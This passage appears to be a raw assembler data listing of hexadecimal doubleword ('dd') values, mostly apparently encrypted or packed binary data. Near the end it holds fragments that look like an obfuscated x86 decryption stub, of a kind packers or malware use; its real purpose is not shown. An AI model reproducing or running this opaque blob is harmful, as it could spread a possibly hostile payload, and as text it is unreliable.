0E0B0A32Dh, 7AE617FAh, 0F1AF3763h, 0CAE8DEBFh dd 0DA000000h, 0DAF37A7Ah, 867A236Bh, 0C688A9FDh, 0B591FFE0h dd 0BC324311h, 892CDEF0h, 798A0FF0h, 53674A56h, 9244273h dd 23CF2309h, 1745C99Ch, 337707B6h, 42C87B6Ah, 0D079427Ch dd 0F53FCEAh, 319CC152h, 0A795C956h, 4387D766h, 0D9D8826Dh dd 21B53EF2h, 31425B7Dh, 69FAF122h, 0FA857821h, 99249762h dd 0DE62EB9h, 1BBDCD4Ch, 16FCh, 0F7751C89h, 9715AE22h dd 2BB15242h, 0C05CEFDEh, 66C68B79h, 0CA38DCE4h, 6052A705h dd 0FFF039A3h, 9A0DDC40h, 921C7DEFh, 0BC333Ch, 46428F18h dd 75128455h, 0AB528E1h, 9C259940h, 91F3FCD2h, 64F11B5h dd 239AD8B0h, 4084D892h, 0B591816Eh, 3EB4C111h, 0F09A8610h dd 31AB380Fh, 0FD7A7A03h, 6054BB2Ch, 0F57283A7h, 480A80B1h dd 0EBB2FC4Dh, 18194DF8h, 0BF33D2C3h, 892DDDF3h, 7A8B0FF0h dd 0B0944957h, 0C8CD94E1h, 9F9F3179h, 219D5EACh, 69AC8ED4h dd 0DD3096D8h, 61A3B106h, 20935A14h, 0BF320765h, 0BA8F2204h dd 0CC5CFE9Ch, 164B8Ah, 6CD3A00h, 0A65F53A6h, 4203F346h dd 0EDA00FDAh, 973CAA7Fh, 692BB315h, 8356D67Bh, 21E87411h dd 0BE8B11B0h, 6D2CB04Bh, 0BCE48B2Dh, 135C1800h, 32CDC035h dd 0A125A310h, 86D05864h, 160Ch, 0E7450CF9h, 87E59E12h dd 1B8142B2h, 0B02CDFCEh, 56D67B69h, 0BA28ECF4h, 50429715h dd 0EFE029B3h, 8A7DCC50h, 0E22C6DFFh, 0BD23CCh, 76529F18h dd 6C32CDC0h, 7C3E8F0Eh, 0F08C905Ah, 4FDD260Fh, 0C664C26Fh dd 1E197638h, 7036DBC9h, 0DF2E4DC1h, 8AC47550h, 0C056EFE3h dd 0F8503A9Ch, 50E61635h, 4018717Eh, 784D11Eh, 0BB163377h dd 6FFA317Bh, 0A5B7B894h, 0FA0B1E3Fh, 4F13B625h, 7D0328AEh dd 80A63DB4h, 0D99120E5h, 2365C7E7h, 0B6EC79B9h, 36A84144h dd 7B2FE2D1h, 35A87DFAh, 94D0D8Ah, 35B0A31Ch, 0B539585Fh dd 75B872ABh, 0F1B9CABFh, 870BB428h, 0E49F12DBh, 833EB178h dd 616D1AA3h, 1FB9F11Ah, 1544h, 0AF3DD4C1h, 4FDD665Ah dd 0E3790AFAh, 78E4A716h, 1E8E43B1h, 827024BCh, 188A5FCDh dd 0B728F16Bh, 52459408h, 2A5435B7h, 0BEEBF4h, 0E0A5718h dd 0B5912837h, 83421111h, 647F11B5h, 5D11B593h, 11B5B386h dd 84AE594Ch, 64A1458Bh, 0F10E48C0h, 94000014h, 2DFC6027h dd 4D9C00B9h, 0E930AC5Dh, 4D557FAh, 0E96BF196h, 30D5C3D1h dd 0DE6B5DACh, 7B0AFB4Eh, 1AA518E1h, 21870782h, 1800BE3Eh dd 55537582h, 91B0BF11h, 0C31011B5h, 0F4880D4Fh, 0B5910DD2h dd 0A320B511h, 0A73535EBh, 72830FF0h, 0E64F4550h, 0E4F2366Ah dd 1498h, 53C9806Dh, 0F3691286h, 9715B626h, 2CB05342h dd 0C25AEFDDh, 2E9C7800h, 0C4360399h, 6354A507h, 0FEF138A4h dd 7EA0D943h, 0BE9758h, 0FADE2B18h, 6C32CDC0h, 0D9685900h dd 7E09FC55h, 566FF928h, 149230Eh, 88E5FA9Fh, 69ED6A15h dd 7B37B72Fh, 33E0D8h, 37D20000h, 11B5931Ch, 3670EFE2h dd 0CC99EAB5h, 4C8E1E9Bh, 11EF1FB5h, 392B34EAh, 83971211h dd 1139422Dh, 0E875FE12h, 8C7A236Bh, 0BD1B73C7h, 1410h dd 32CDC087h, 6759006Ch, 0E8750E82h, 4D0F83B2h, 1FB1F948h dd 0FF08623h, 8E3FAF7Eh, 158459D8h, 890D2C72h, 5195A52Eh dd 0FA9E707Fh, 0F83D017h, 86FAD391h, 0FA9E3F20h, 0F5728317h dd 0B0E703A5h, 4511635h, 7617875Eh, 0C839E024h, 0F8D46539h dd 1E3FCCF7h, 1AB43A4Bh, 3FCE2A38h, 45FEF21Eh, 0E59E12E7h dd 4BF4E841h, 0B37AB417h, 980A8045h, 0AD564A85h, 39CE3CEDh dd 925B1BB5h, 3E3F6320h, 164CF5E9h, 0C12593E7h, 9AE504E3h dd 207h, 0D3625B28h, 8CE5259Bh, 2530FF0h, 3011855Ch, 0D9580EC1h dd 8579C05Ch, 0FBEBB2FCh, 0A08CC44Ah, 9AB44485h, 73C7E8EDh dd 0FADF766Dh, 172E3E17h, 922DA049h, 28D1C51Ch, 0E38C2266h dd 5F17FAFDh, 0A00E8016h, 0AF9AD465h, 0F013B9BDh, 50F2E636h dd 3DA969CAh, 75B078Bh, 3D02EDC3h, 11BE17FBh, 5932A2BCh dd 28AE2B07h, 361B7806h, 0E9BDC616h, 7920A210h, 0ED1FB86h dd 0B21E4011h, 0BB276505h, 0BD3A9658h, 92C87768h, 0B386E663h dd 96DA8045h, 7529D4C7h, 83C89709h, 0EB781E40h, 0BC6E86Eh dd 571E4085h, 8775B0B5h, 1B8F5AC2h, 71653C62h, 0CA3B92C8h dd 1E8E673Bh, 6307C235h, 561155D2h, 4594071Eh, 96554415h dd 222251AEh, 511592B3h, 1C08BC84h, 0E6636C91h, 0A5EBF290h dd 0D336FD88h, 87200652h, 5FDB9605h, 68A135BBh, 4F83CB74h dd 405E8669h, 25A93A1Eh, 75E5C1ABh, 7EB2E505h, 179A61D3h dd 14388DE2h, 1E408C4Bh, 0A8E86EF7h, 3Eh, 3DD2C01Ah, 49229069h dd 226686B0h, 0C99D1A94h, 18D3EA7Ah, 2787E5AAh, 0A5F98276h dd 0AD604F94h, 9A776F29h, 12CD87Bh, 1A71179Bh, 3E7EF4D2h dd 0BFh, 988657F2h, 95D17F78h, 625B2301h, 0D5259BD3h, 880FF0B4h dd 0AE8D5274h, 594B17FAh, 76FC09ACh, 77CE94E1h, 9231A283h dd 4E429715h, 0A418F1B5h, 54E4471Bh, 675A0351h, 0E37786DCh dd 4D0DB62Ah, 0EA95F6E0h, 0C08AE0AAh, 0FB2901EEh, 0BE344117h dd 3F604620h, 5E3BDEC0h, 89000000h, 84D66F5Bh, 0D258E1D5h dd 9177C8EEh, 9ECB11B5h, 27249DA8h, 22E7D58Ch, 3E0258A5h dd 48CE7F6Fh, 0B68E6D66h, 21B5D11h, 8DCD745Ch, 0B68E942Bh dd 0A716C711h, 3FCE3FE4h, 87D71CBBh, 8E826D43h, 0B53E11B6h dd 18A5AF21h, 91000000h, 0B7FA9AB4h, 0B61F4E11h, 0C061F211h dd 961C5F68h, 623F54h, 0C0010000h, 99451BD0h, 979D5D8Bh dd 9FD540Ah, 540AB528h, 75C458A5h, 0D7D1DC81h, 3D72C787h dd 4286EAB0h, 0B665836Ch, 20B63F11h, 0A3EB5A72h, 247A09FAh dd 78D0C231h, 911EE2F6h, 491B451Dh, 8D11B5A7h dd 633A6019h, 3D8ED471h, 0B9A31A23h, 46F32FA1h, 29377CF9h dd 59604614h, 0B13BD87Bh, 8900000Bh, 98D2635Bh, 1F8FB1ADh dd 6756B9A4h, 0F27FFEA4h, 2EBA247Ch, 7A8B1EDDh, 2383D7EEh dd 70622608h, 0EDD59A3Ch, 186D9B60h, 542292h, 3FEE0000h dd 8EBC32CBh, 98D2635Bh, 64259544h, 911FC0EEh, 0AA311B5h dd 0EF63D39Ch, 83132915h, 54D16006h, 6D65531Ah, 0B5D2A44Bh dd 4AD71C11h, 3991E514h, 0C1866697h, 15283868h, 0CA950B4Fh dd 76BB29A0h, 5CA38EDh, 1C5AD061h, 81EEB78Ah, 267D5h, 635BE700h dd 0E1C5E6D2h, 6006C938h, 0C06F5DD1h, 320632CDh, 14845532h dd 1DB9FF73h, 4ADB7AACh, 1A9035A3h, 2A5Ah, 635B6800h, 0F855E6D2h dd 0B20D82C3h, 0CAB63C9Ah, 0B672FED4h, 1D2BB811h, 0D0C06F55h dd 0FBBB013Fh, 8B0FC432h, 483FB9h, 5B010000h, 0AD98D263h dd 0D0C3E40Dh, 1E2CA29Ch, 935F7355h, 173211B5h, 0B3530D9Dh dd 0B10D8144h, 84550030h, 2BB2F10h, 4274E185h, 630F681h dd 9BC74BC8h, 665A0347h, 446889DDh, 11B6049Bh, 6A58DE27h dd 13FD0C0h, 63785BBh, 0C8FE209Fh, 0C86535DAh, 0E9D773E5h dd 56FF7E24h, 589ACAFh, 0E84BBE8Bh, 12CC49F6h, 0E6A85D4Bh dd 33630CA2h, 96DF284Bh, 0DB15CC00h, 0CD9407C2h, 2DEC761Eh dd 0A8E4E381h, 754E75DEh, 649C4365h, 0DF24284Bh, 29E2D552h dd 0F430BB6h, 640AD5CBh, 2DB6284Bh, 4B64600Fh, 1F93E028h dd 0EF4C0C3h, 8578B3CAh, 82ABD7FAh, 0D2C7211h, 0A25D5089h dd 8214BDE8h, 0EDB303DAh, 0F6E4B569h, 4B58E4FEh, 49015228h dd 0DCC00CDCh, 2ABE5EAAh, 0F40EE641h, 391599E6h, 7AB5C818h dd 0C0D5FC87h, 0D37665D2h, 0BDE16E8Fh, 8711655Eh, 0B055437Eh dd 5FEADD2Ch, 0F6D03E8Fh, 2CA82A5Bh, 0D125784Fh, 4B61D38Fh dd 0ECDF8E28h, 0CD7ADD51h, 150D8F3Fh, 77168727h, 8DBD6DEAh dd 0F8EB263Fh, 6A5C0D4Dh, 0E26889DDh, 36D1C4D9h, 0E18E2064h dd 1F284AEEh, 0A8491DB0h, 9E72F80Dh, 820C4C75h, 0D45AEBDBh dd 1F42F36h, 0DEF03446h, 284AEE11h, 0FF887CB1h, 890D8AABh dd 0CB7669A2h, 0B75C4A13h, 6B72CE77h, 20CFE125h, 0A0284AEEh dd 6C1F8E53h, 5AB30736h, 0CBF5DC67h, 632CDC0h, 84559FC5h dd 0BDFF7314h, 329CAC15h, 0AC375F32h, 3C60DB7Ah, 52000000h dd 0E687F855h, 0C9BF6A49h, 0B61608D7h, 0AE2BB811h, 0E75E6A28h dd 5F735529h, 0D911B593h, 1155BC8Ch, 0F1B55A48h, 91442B8Dh dd 77FC11B5h, 0C04664EAh, 0BB0533CCh, 3A3F85h, 5B010000h dd 55FAD66Fh, 2C721584h, 81C5890Dh, 0B37EE5D8h, 1A7D7930h dd 0A5540A97h, 0DF530F51h, 2FFE11B5h, 0DA5B0FBEh, 6F55635Dh dd 533CCC0h, 0B0BF1155h, 1011B591h, 2FED4FC3h, 0B5839E37h dd 191C3811h, 66FFFFFDh, 1323F855h, 578C25EDh, 0D65CD964h dd 0B685DB88h, 0B302BA11h, 7F0E029h, 8FAEF499h, 6D725C02h dd 4511B683h, 0CF3FFA03h, 8FD37866h, 0FCA9E16Eh, 25E8BA38h dd 158B0FC0h, 8F5BF451h, 0D946EF9Dh, 7F08FC55h, 0F0E089EDh dd 771C8A5Fh, 0CE8C0233h, 0B9277BC2h, 0D3E40AFDh, 0F0AAB3ADh dd 1AD133F6h, 1F4A1h, 1B371300h, 7811B593h, 6EA2EC5Dh dd 3AC064C3h, 23B76DDDh, 0F131291Dh, 2D83970Fh, 17FB3342h dd 74E875FEh, 0DA9435A5h, 0BDE1A413h, 125E36BCh, 33F7F8DEh dd 3A4B17FBh, 0DC52F7E5h, 0B2E89105h, 85EE7DBh, 6822932Ah dd 363DA8B6h, 0E5CD1616h, 712BCCB6h, 710355D5h, 1400000Dh dd 0AD7CE0A7h, 0CD1C8039h, 69B02CDDh, 8455D77Ah, 69EB7116h dd 0B0554351h, 5EEBDD2Ch, 0FB8A7BCEh, 9A259861h, 0A1078702h dd 1800C5BEh, 0C0D3F502h, 6C32CDh, 9205EACCh, 28BD11B5h dd 64D5F0A2h, 0D9C7962Ah, 9B90BE34h, 1F0FFEBDh, 0E5D584D6h dd 8171B824h, 0D0C39AC0h, 0C90D7135h, 0B908D7h, 0A72BB818h dd 2961D0F5h, 0AFF38C00h, 44088Eh, 53A76A59h, 3BC1850Dh dd 0A863316h, 0BC47BA94h, 58337A1Bh, 4EAAFBDBh, 0B9F17131h dd 0CDF1Fh, 9239A600h, 32CB3F0Ah, 0DE6F5FAAh, 790CFB4Eh dd 0E3A816E3h, 0D5BFC779h, 6FBA22E7h, 8D5CC07Dh, 2AFF6D1Ch dd 0F9900CB7h, 0C6501FB1h, 67F01800h, 6ACDC0A1h, 174BC87Bh dd 1951E025h, 0F09AF7A7h, 0A03C490Fh, 41DB6659h, 531BAA63h dd 0FAE5DB1Fh, 4617FA98h, 0C1780B19h, 48D5EE1Bh, 20D4FCC2h dd 41851644h, 461C806Fh, 3FB3C01Eh, 5A034B98h, 5D91D96Ah dd 461C747Bh, 3387CC1Eh, 0AB5C4C9Dh, 48AB1EF7h, 40F1B55Ah dd 8A539FC3h, 0B7E5691Ah, 3197A716h, 1C812451h, 9D6C80Ch dd 0B9248B24h, 0C411A62Ch, 76B799E2h, 1046C277h, 0C30h dd 0BB21E8D5h, 5BC17A6Eh, 0FF6D1E8Eh, 9408BB2Ah, 2AB25745h dd 960410A8h, 2C9E6BF1h, 0CB3C0D9Fh, 6659A03Ch, 0C64841DBh dd 0C7FFE0h, 12364318h, 6C32CDC0h, 7C3E8F0Eh, 0F0BE1C5Ah dd 0CB51A20Fh, 0D83BEEBh, 8D15E349h, 23DCD009h, 0CF8070B9h dd 6050195Dh, 0F47AFBAFh, 0D3625BF6h, 0CA79AE9Bh, 3268157h dd 0E268F590h, 0B92A18BEh, 478C0FF0h, 0B5A6BD23h, 6CFC17FAh dd 0CAA50159h, 91FEDEBFh, 0B2000000h, 0C05D0E97h, 0FA70E77Ch dd 6BCCC0C8h, 1A40CD78h, 333C92D6h, 8F11B591h, 481EAD1Eh dd 6F72CA9h, 9C122347h, 0F2A85145h, 8B544A8Eh, 3711B591h dd 2F128AEh, 4E421B4Fh, 5C7937B5h, 0FF0BADEDh, 0B90FF0AFh dd 57F70A2Ch, 14946AE6h, 0B5B42h, 16BD2A00h, 0B64F4396h dd 52F3E336h, 0FD907FCAh, 672C9A6Fh, 593B4305h, 0F346A66Bh dd 11D84401h, 0AE7BE1A0h, 7D1C803Bh, 0C7D49B3Dh, 0E36C1800h dd 33CCC025h, 843FB27Bh, 69B6900Eh, 98000000h, 7B33CCC0h dd 0DE843FB2h, 0B183DB5Fh, 0B895A514h, 0D144D78Ch, 0A7486E0Fh dd 1B11B606h, 2A984DCAh, 0BA30C165h, 100ED0F6h, 23B00FF1h dd 0E6A00403h, 4513976Ah, 0AE4h, 0F9D34A1h, 0AF3DC63Ah dd 43D96A5Ah, 0D84407F6h, 7EEEA311h, 0E2D0C4DCh, 786ABF2Dh dd 178851CBh, 0B225F468h, 8AF49517h, 0C84B14h, 0AE6AF718h dd 7832CDC0h, 0C823FB1h, 7F0AFD54h, 0A55E522Bh, 16B92881h dd 283DB750h, 7588D8B5h, 2A35EB2Fh, 9611B591h, 178FC94Dh dd 4CD87AA4h, 0DD2F408h, 0B511B589h, 89630C20h, 96DF11B5h dd 26B5000h, 0D81C0000h, 0B589F9E6h, 0B63C4911h, 83AA7AB4h dd 0BFF3BB0Ah, 919A457Bh, 6A5811B5h, 0D57081A5h, 56240A80h dd 0E00FF089h, 7090BC93h, 37237252h, 0B1172796h, 9CD635Dh dd 0EECC92E3h, 0FADC9E2Fh, 101FDCA3h, 0BB629F0h, 0D026E5D6h dd 0EDBCFE07h, 99DD4FFAh, 782EE1D0h, 299C75F9h, 9095B49Eh dd 0D2566B0Bh, 0A0B84h, 460DFA00h, 0E69F13E6h, 8243B386h dd 2DE0CF1Ah, 0D77C6ABFh, 29EBF355h, 439616BBh, 0E128B451h dd 7ECB51F0h, 2D6CF08Bh, 0C924CBEDh, 539C1800h, 63F85575h dd 829CAD4Bh, 11B47F32h, 30885CB0h, 8F97587Eh, 0DA2B11B6h dd 7009FD54h, 7CCDC82Ah, 80021732h, 0A5AC4FFCh, 374B6D51h dd 810FFED9h, 81733A74h, 0C49A2D9Ch, 0A2E6A835h, 0D5630Ch dd 0CD923418h, 751800D5h, 0BA3045E0h, 2FE54024h, 0AF625111h dd 5FE0A506h, 0F39002DBh, 0F9484DAFh, 49F6E8B1h, 14599C5h dd 0D9C0AFh, 7FF30018h, 3BCBAD51h, 88C21316h, 587CD974h dd 3BC1E972h, 45B84E11h, 0ED61F21Eh, 7906F8A1h, 0E7A416E3h dd 69128657h, 0EDDF0435h, 67EB0A50h, 0FC63562Fh, 0CC1D05CBh dd 0F9D926B4h, 7131E9E6h, 29D38505h, 0DC000009h, 75C458EFh dd 9564F881h, 31F86425h, 4C9D0FC2h, 9133A95Eh, 0E89D0B09h dd 9633A574h, 33D2C316h, 0D26D60A9h, 0E9CF4F4Ah, 1800CA06h dd 556B2DBAh, 91B0BF11h, 0C31011B5h, 914A158Bh, 6DF611B5h dd 9C5B7DE9h, 0B411B591h, 277B293Ch, 0E9C38876h, 11B59106h dd 7036D1C4h, 9D1162C1h, 0F140452Bh, 44B465B9h, 5D210F83h dd 0E30FF083h, 0AA37DCCAh, 8D445E0h, 7857948Ah, 0FE273FCDh dd 0C31803F0h, 0C07135D0h, 6757064Ah, 0AD6846A6h, 0BC7C521Ch dd 61642AAh, 0B079BDFDh, 0D40D813Eh, 0D01426E1h, 42AAF1FEh dd 6E5C511Eh, 0F77485D9h, 0A91CED63h, 3E31341Eh, 0BECA712Eh dd 86B18h, 0E6AD1A00h, 863FB386h, 22E3D326h, 0CD806FBAh dd 771C8A5Fh, 494B53F5h, 0E336B65Bh, 1C854F1h, 9E6BF190h dd 8D0C902Bh, 0CAC4AB0Dh, 0F37C1800h, 931C37D5h, 0EFE211B5h dd 239AC854h, 11E6D892h, 0B10FF0C4h, 52436A24h, 6025E297h dd 0E270D16Eh, 2FBD3A3Dh, 912A9E4Fh, 6FA62CCDh, 3D9BCF7Eh dd 808h, 0D3F85507h, 94061D22h, 0ED286AE0h, 8ABC125Ch dd 340FF183h, 0FED5FBAFh, 5417FB86h, 0FDE9B1B4h, 0A6DEC09Bh dd 117h, 68CFC014h, 34BC877h, 9106E9CFh, 71BA11B5h, 9A9BCF82h dd 68C1991Dh, 3C95C976h, 4683EC9h, 9201EEC0h, 344111B5h dd 0D77667BEh, 74138455h, 0C481733Ah, 0EF24164Eh, 4D709772h dd 21AEF1C4h, 95573C69h, 41848B09h, 0F85956A7h, 0B93D7ED7h dd 7544D3F5h, 77FC11B6h, 293CB433h, 0DE4EFDEEh, 0B269A0Bh dd 0CB8B2D45h, 5C032941h, 0E411B598h, 24C129Fh, 11B59949h dd 23DEE761h, 0DB8913B2h, 0A30555ECh, 11B599C4h, 0DAB3F77Ch dd 78C15BE8h, 20ABDD86h, 54035AA1h, 0C73A93D7h, 983E723Ch dd 11B606D7h, 7E501A6Bh, 11B60671h, 560E84D1h, 13CED711h dd 0B178E4A1h, 86694F3Fh, 3A11B606h, 4762CA9h, 0AF7E3081h dd 470B8F3Eh, 0F10F9561h, 42DA2B0Fh, 227805F7h, 842FBD0h dd 0FB0DC596h, 0BAE07517h, 0E2B2CB0Dh, 0B01FCA3Bh, 0E4633EC4h dd 5BDA800Dh, 0FF8C7ED7h, 9D2A9C6Dh, 63D2EBC9h, 17C1F52Bh dd 0F67F1636h, 9431A376h, 0E3A213DAh, 0B728F16Fh, 5BAE9408h dd 0B7B81E62h, 0B11B591h, 9B3D7DFAh, 0FF086A7h, 0C79EC411h dd 8CB22AD3h, 90D66F5Bh, 0B59315CEh, 5AEBDB11h, 8C3DAD04h dd 0E2FB75D6h, 29F03A7Fh, 0A6570BB6h, 0AFF38E01h, 839A088Eh dd 7AA8CFD7h, 4A88D8h, 0E9440000h, 236E8A68h, 0A3665562h dd 7DF17EFFh, 6BCCC04Fh, 0AB97CB7Ah, 0B5916A75h, 8DD611h dd 9187684Eh, 0AA3B11B5h, 8857792Dh, 0A811B591h, 0E6DA1528h dd 5C4C1D5Dh, 0AA1EF7ABh, 801E9411h, 0B5B0D54Eh, 89614311h dd 0A3FFFFFFh, 7832CDC0h, 88E43B1h, 5503413Ah, 91B0BF11h dd 0C31011B5h, 3C850D4Fh, 5F59870Ch, 0DB7AAC37h, 5B60h dd 6F5B5200h, 56A984D6h, 381A7C48h, 2C735EAh, 1155BE8Ch dd 0B591B0BFh, 4FC31011h, 91C2AD03h, 0C49511B5h, 0CD6C32D5h dd 0D565EE49h, 0D63D1A78h, 4DC12AE7h, 4811557Fh, 40F1B55Ah dd 0B591836Ch, 20B63F11h, 0CCC0467Ch, 81277B33h, 11B591DEh dd 0AF9D1162h, 1F3F85BBh, 1000000h, 0FAD66F5Bh, 916C7355h dd 66CF11B5h, 341155AAh, 23782FB8h, 6745C998h, 533CCC0h dd 845585BBh, 2337710h, 0A465558Ch, 910FD0FEh, 0A12311B5h dd 1EB0F49Ch, 11B59151h, 37EE64F1h, 0A4A606C7h, 11B58589h dd 0F3F53113h, 0BC6DFFFFh, 3436BC4Bh, 7C6BCCC0h, 0CE024CC9h dd 0B59107E8h, 0A42ABB11h, 0F041442Ah, 44B37ABEh, 0DC6B5C81h dd 0DDE37786h, 0FF09131h, 0BE20468Fh, 17FA93A5h, 2586DFBh dd 0DEBFA4A4h, 6C556F3h, 7CBE96BBh, 1386F6h, 3F340000h dd 0Dh, 0D63DAE7Fh, 0F20327E4h, 8A003175h, 0D3625BB8h dd 0A3C5259Bh, 0E2730FF0h, 8251FDA8h, 0B880529Fh, 0F835A32h dd 36D4F676h, 0FE17FB7Ah, 1BEE7E0Dh, 54471BAAh, 576EF46Dh dd 9C2B9Ch, 0E33BC639h, 0FFD1A71Ah, 17FB7AF0h, 64860350h dd 3F632695h, 7A12DDF3h, 25AE17FBh, 2A700F80h, 0AB2E37D1h dd 0BBC21Eh, 64B8F28Dh, 0FB7A9D42h, 5AD02517h, 84557771h dd 0D2C7215h, 0ACD7CF89h, 0D080D8FAh, 32000000h, 0FBD56C5Bh dd 935F7355h, 63C211B5h, 0DD115555h, 0B591F4FBh, 0B3074C11h dd 50768BB1h, 632CDC0h, 6F5B0341h, 0E7A984D6h, 4617EDD1h dd 0F2A85949h, 7270C643h, 11555987h, 0B591B0BFh, 4FC31011h dd 7AAC8D09h, 57D6DBh, 5BE40000h, 4084D66Fh, 0B591816Eh dd 0EBF42A11h, 5711B591h, 0D85EA70Eh, 6C7355EAh, 3F11B591h dd 4DC17A6Eh, 6D7254EAh, 0D511B591h, 55350380h, 30761184h dd 8DC18D01h, 4AFD96A0h, 5BFC87F4h, 0A75E4998h, 3F0D8155h dd 7B33CCC0h, 0A8043B2h, 3F85BB38h, 29h, 0D66F5B01h, 6C7355FAh dd 0CF11B591h, 1155AA66h, 42457A34h, 4BEAB053h, 35CA3BEAh dd 0CCC083A1h, 3FB27B33h, 0BB3C0E84h, 0FF203F85h, 0C001FFFFh dd 956C32CDh, 0FAA64322h, 4AC86D78h, 0B64F8B54h, 21AE3711h dd 0FC790EFCh, 97587EB2h, 2B11B64Fh, 0FABA54DAh, 4F5F00A6h dd 92E311B6h, 0CE7F5E1Ch, 5FD82A8Ch, 0E4B50FF1h, 78DF53F4h dd 3A29B7EBh, 8017FB81h, 532A700Fh, 25FCA263h, 0A05115B4h dd 0D74A5395h, 0DB7F8682h, 0DEC092CBh, 4094h, 625B2600h dd 91B7B81Eh, 0CEE011B5h, 11B59121h, 64F154A1h, 257157E7h dd 9B0FF09Eh, 994A144Ah, 0CF17FA98h, 55044C51h, 7EFFA366h dd 0AD28BEF8h, 0D27FDEBFh, 0E204BE50h, 0DC9C122Bh, 0D1h dd 32CDC0EEh, 8140B178h, 0F0478DDh, 94DAC0CCh, 0E7CB8317h dd 0D3F5C336h, 11B5DA0Ch, 0FCA22FB4h, 4E14B525h, 75AC22AFh dd 0C59CC287h, 9A7337D2h, 707F5127h, 0D011B5DAh, 17CEA7h dd 7CF95303h, 55B4A3DBh, 1B9886BEh, 99E84F81h, 0B32611B6h dd 52459408h, 481F3B7h, 0F8A1E5B5h, 4D12B406h, 0F511B691h dd 0BEBFE360h, 9115DAFCh, 58AD11B6h, 0A6168CD2h, 53A00FF1h dd 93229BC9h, 5ACBE5DBh, 0EC791643h, 780DFBA2h, 0E2A715E4h dd 2F07EBC0h, 2EA8E071h, 294h, 5FCD8471h, 0FF6D168Ah, 9309BA2Ah dd 28B45746h, 0CE5EF3E1h, 32A0740Ch, 0C83A0F9Dh, 6758A13Bh dd 2F544D8h, 7AA4E547h, 0D09B44h, 0FEDA2718h, 0AF3DD2C0h dd 40DC675Ah, 0D3625B12h, 0CF03479Bh, 0B59106E9h, 329BA11h dd 11B5915Ch, 351B9FE4h, 0FF09DE1h, 0FAE5DB5Fh, 4617FA95h dd 945B7D3Dh, 2C17FA95h, 5A045AA7h, 17FA9789h, 1E3C41DFh dd 0DEBFAC88h, 61479BDFh, 17FA897Eh, 0D49BB1C2h, 1217FA89h dd 3340E3A0h, 0ECFFBFh, 0EAB30000h, 0E7C549FAh, 3C5CF855h dd 42945B7Dh, 0A72C11B6h, 65CA8B7Eh, 3AC53811h, 9EB7D570h dd 0C1930BB5h, 228358F1h, 7AF0BC00h, 8C5D4B22h, 2C82C475h dd 11B5B343h, 0A7CD76FFh, 9EC441E0h, 0B5B37730h, 8742B511h dd 7EE1D425h, 97A6FC8Fh, 0A766540Ah, 0B0624416h, 60FF0BFh dd 0EF40E9D9h, 9411191Bh, 12855408h, 8C023377h, 3C7ECFCEh dd 0FC231F8h, 41D38BA6h, 2BAF83D5h, 4320CA05h, 47B57616h dd 95DE6DAh, 0ACEE6BE8h, 0E27A0FFDh, 5DE8DB82h, 0DC832509h dd 641E4334h, 631921Fh, 56A2BC67h, 9705DC52h, 0CEE1D0F2h dd 8E1A712Eh, 153C8h, 0EC53200h, 0AE574B9Eh, 4AFBEB3Eh dd 0F59807D2h, 9F34A277h, 61334B0Dh, 0FB4EDE73h dd 19E07C09h, 0B68319A8h, 6524B843h, 0D1DC8325h, 1B641800h dd 3DD2C03Dh, 0DC675AAFh, 0CDC01240h, 22956C32h, 6EAF0567h dd 655B9FDFh, 11B5917Ah, 7539BDC6h, 0F083AB53h, 0BD2FFE0Fh dd 57DB5A00h, 0E73B7380h, 0E439C236h, 0AC357F0h, 3C70EC97h dd 99CD7C6Dh, 0C83B1298h, 0B20B693Dh, 6ADE4B03h, 26A46699h dd 0E7CA3B9Ch, 3DA0E78Ch, 97D3F5B9h, 211644A2h, 30D9F2D4h dd 0E6227132h, 0B7F0h, 0AA614E00h, 4AF3E732h, 0F69707D2h dd 9134A376h, 3BD03E0Bh, 0FD972FA1h, 17E27A0Fh, 0B58418A5h dd 0D2278544h, 0C1B824DFh, 0D2786759h, 0BFC81800h, 0D3625B99h dd 0CE24AE9Bh, 5BD2A9A8h, 7485D96Ch, 993F63F7h, 0FFF02B9h dd 0D9B0F67Fh, 78C15BE6h, 0E9B0FA85h, 3A259BFBh, 861800FEh dd 227AF07Dh, 612F9CBCh, 0B0B52B12h, 650AACE0h, 0A31CA14Fh dd 0A52E9530h, 2205F851h, 0AA5B4BB0h, 0A2F845F4h, 43961693h dd 34E5B550h, 0DBB307C0h, 0AAF09302h, 67A2BB3Dh, 0A481C974h dd 2EE78AF1h, 422B2096h, 0FCED2081h, 0CDD73C7h, 1EB8EE99h dd 8, 12845560h, 6987E175h, 663CD3C0h, 3D611C8Fh, 8ED47364h dd 6238C537h, 32681D8Bh, 82D86D5Bh, 5509BC2Bh, 277B0CFCh dd 0FDA15A4Eh, 0E2895276h, 4C281h, 0EA830000h, 24148704h dd 242C895Ch, 6F5668h, 242C8900h, 81E68956h, 4C6h, 4EE8100h dd 87000000h, 895C2434h, 0EC812404h, 4, 0BF243C89h, 61917397h dd 0F703EFC1h, 72EF81D7h, 8157F058h, 925163EFh, 5FFD8995h dd 24048B54h, 5504C483h, 18243481h, 8F71AD16h, 0BB530840h dd 8, 3381C301h, 71AD1618h, 2434FF5Bh, 4C48358h, 5D2434FFh dd 0E904C483h, 0FFFA3AE9h, 0B8DF4983h, 64B426Ah, 0C650C503h dd 45182985h, 25684706h, 0FFCF3817h, 450985B5h, 0FB858D06h dd 0FF064539h, 8DD88BD0h, 450E2585h, 4685006h, 0FF000001h dd 2985C6D3h, 53064518h, 7F8BF68h, 85B5FF83h, 8D064509h dd 4539FB85h, 89D0FF06h, 4B259985h, 15BD8306h, 64507h dd 0B840Fh, 9D8B0000h, 6450CB1h, 5E9h, 0BB00h, 680000h dd 8D000001h, 4B259DB5h, 0FF535606h, 45253595h, 9DB58D06h dd 3064B25h, 1E9F0h, 804E0000h, 840F5C3Eh, 9, 0F2F3E80h dd 0FFFFED85h, 6C6FFh, 259D858Dh, 0FF50064Bh, 4B259995h dd 0E0FF5806h, 1CEBE927h, 4B6F3C72h, 429B4C03h, 20897F1Dh dd 27552E5Eh, 64C5C251h, 1555038Fh, 369022A4h, 73238D28h dd 30B1F647h, 0FC60FA1h, 69E14935h, 2A6BA51Dh, 455DE090h dd 2D19E70Eh, 183ECE6Dh, 587D3A5Ah, 5BD12D2Ah, 56237304h dd 15D8E227h, 58F187C9h, 0B3CF004h, 10CA39FCh, 70C764C9h dd 8E8h, 0F8AD4500h, 0ED632F89h, 0D881664Eh, 0B95F7EE0h dd 628BD7F8h, 6270C781h, 68F80000h, 187Dh, 0C4DD00BEh dd 8BF85B29h, 97E48017h, 961AC281h, 81F91C6Ch, 0D6286FC2h dd 0FF96045h, 8161D8BFh, 0FDA583F2h, 